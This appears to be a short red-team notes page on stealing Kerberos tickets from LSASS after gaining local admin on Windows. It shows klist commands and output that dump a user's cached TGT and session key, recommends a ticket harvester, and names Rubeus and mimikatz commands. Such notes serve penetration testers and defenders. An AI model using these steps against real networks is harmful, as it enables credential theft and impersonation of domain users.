> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/active-directory/post-exploitation/kerberos-tickets.md).

# Kerberos Tickets

## Kerberos Tickets

Kerberos tickets are stored in LSASS process memory. In certain contexts, they are arguably easier to extract and manage than NTLM hashes, and are a great post-exploitation target. Kerberos tickets have the added benefit of being easy to monitor and extract when new user logon sessions are created. If you're local Admin on a machine, make sure to setup a TGT harvester to catch new users' tickets.

**Tooling**

Amazingly, Windows' built in `klist` supports dumping Kerberos tickets natively. Use [my tool](https://github.com/jakeotte/klist2ccache) to convert to ccache.

```
C:\Windows\System32>klist sessions

Current LogonId is 0:0x3e7
[0] Session 1 0:0x15d6ed LUMON\jotter Negotiate:Interactive
[1] Session 1 0:0x154333 LUMON\jotter Kerberos:Interactive
[2] Session 0 0:0x3e5 NT AUTHORITY\LOCAL SERVICE Negotiate:Service
[3] Session 1 0:0x11ad7 Window Manager\DWM-1 Negotiate:Interactive
[4] Session 1 0:0x11a78 Window Manager\DWM-1 Negotiate:Interactive
[5] Session 0 0:0x3e4 LUMON\jotter-pc$ Negotiate:Service
[6] Session 1 0:0xb248 Font Driver Host\UMFD-1 Negotiate:Interactive
[7] Session 0 0:0xb23d Font Driver Host\UMFD-0 Negotiate:Interactive
[8] Session 0 0:0xa748 \ NTLM:(0)
[9] Session 0 0:0x3e7 LUMON\jotter-pc$ Negotiate:(0)

C:\Windows\System32>klist tgt -li 0x154333

Current LogonId is 0:0x3e7
Targeted LogonId is 0:0x154333

Cached TGT:

ServiceName        : krbtgt
TargetName (SPN)   : krbtgt
ClientName         : jotter
DomainName         : LUMON.COM
TargetDomainName   : LUMON.COM
AltTargetDomainName: LUMON.COM
Ticket Flags       : 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Session Key        : KeyType 0x12 - AES-256-CTS-HMAC-SHA1-96
                   : KeyLength 32 - 80 31 1f 9e d7 f9 6c 0f 6a 67 18 c1 8d 12 1a ec fd b4 68 21 39 99 f3 9b 89 74 58 c9 94 87 e6 ba
StartTime          : 3/6/2026 19:07:09 (local)
EndTime            : 3/7/2026 5:07:09 (local)
RenewUntil         : 3/13/2026 9:22:16 (local)
TimeSkew           :  - 0:05 minute(s)
EncodedTicket      : (size: 1162)
0000  61 82 04 86 30 82 04 82:a0 03 02 01 05 a1 0c 1b  a...0...........
<SNIP>
```

The classic ticket tool is `Rubeus`, but there's plenty of BOF/other options these days.

```
Rubeus.exe triage
mimikatz lsadump::ekeys
```